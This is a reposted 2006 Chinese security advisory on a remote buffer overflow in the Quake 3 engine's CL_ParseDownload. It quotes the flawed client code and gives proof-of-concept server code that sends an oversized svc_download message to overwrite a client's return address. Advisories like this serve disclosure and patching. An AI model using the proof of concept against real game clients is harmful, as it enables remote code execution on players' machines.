中华网络安全联盟 收藏本站
设为主页
商务合作
首页 新闻中心 行业动态 软件新闻 安全资讯 病毒预警 漏洞发布 操作系统 Dos Win9x Win2000 WinXP Win2003 WinVista Linux Unix
数据库 DB2 Access MSSQL MySQL Oracle Sybase 编程技术 ASP PHP JSP CGI/Perl XML .Net C/C++/C# VB VC Delphi Java 汇编
安全技术 安全教学 工具介绍 漏洞利用 病毒防范 入侵检测 防火墙 安全防范 汉化破解 攻击实例 加密解密 进程知识 技术论坛
中华网络安全联盟 >> 新闻中心 >> 漏洞发布 >> Quake 3引擎CL_ParseDownload远程缓冲区溢出漏洞发布
新闻中心
行业动态
软件新闻
安全资讯
病毒预警
漏洞发布
Microsoft Windows CS
Microsoft Windows CS
Windows VDM 0页面竞争
Microsoft内容管理服务
Microsoft内容管理服务
Microsoft Agent URI解
Microsoft Windows UP
Microsoft Windows图形
Quake 3引擎CL_ParseDownload远程缓冲区溢出漏洞发布
字体:

中华网络安全联盟    来源:转载    时间:2006-6-9 9:03:18

受影响系统:


id Software Quake 3 Engine <= 1.32c
Icculus.org Quake 3 <= revision 795


描述:


--------------------------------------------------------------------------------
BUGTRAQ  ID: 18271

Quake 3引擎是ID Software(http://www.idsoftware.com) 开发的游戏引擎,很多游戏都在使用。

Quake 3引擎对用户命令的处理上存在漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。

Quake 3引擎的code/client/cl_parse.c文件中CL_ParseDownload函数用于处理从服务器接收的下载命令(svc_download)。这个函数使用服务器发送的有符号16位数字将网络中的原始数据拷贝到16384(MAX_MSGLEN)字节的数据缓冲区:

void CL_ParseDownload ( msg_t *msg ) {
    int     size;
    unsigned char data[MAX_MSGLEN];
    ...
    size = MSG_ReadShort ( msg );
    if (size > 0)
        MSG_ReadData( msg, data, size );
    ...

Quake 3所处理的重组报文最多可为16384字节,但攻击者可通过huffman压缩绕过这个限制,发送特制的svc_download命令触发缓冲区溢出,导致执行任意指令。

<*来源:Luigi Auriemma (aluigi@pivx.com
 
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114952707108553&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

将以下代码拷贝到code/server/sv_client.c文件中大约575行的“// send the gamestate”标注后:

    // send the gamestate
    int     i;
    MSG_WriteByte( &msg, svc_download );
    MSG_WriteShort( &msg, -1 );         // block != 0, for fast return
    MSG_WriteShort( &msg, 16384 + 32 ); // amount of bytes to copy
    for(i = 0; i < 16384; i++) {        // overwrite the data buffer
        MSG_WriteByte(&msg, 0x00);      // 0x00 for saving space
    }
    for(i = 0; i < 32; i++) {           // do the rest of the job
        MSG_WriteByte(&msg, 'a');       // return address: 0x61616161
    }
    SV_SendMessageToClient( &msg, client );
    return;

建议:
--------------------------------------------------------------------------------
厂商补丁:

id Software
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.idsoftware.com/

Icculus.org
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.icculus.org/quake3/

字体:
 
设为主页 收藏本站 联系我们 友情连接 商务合作 网友留言
Copyright©2006-2008 中华网络安全联盟 All rights reserved.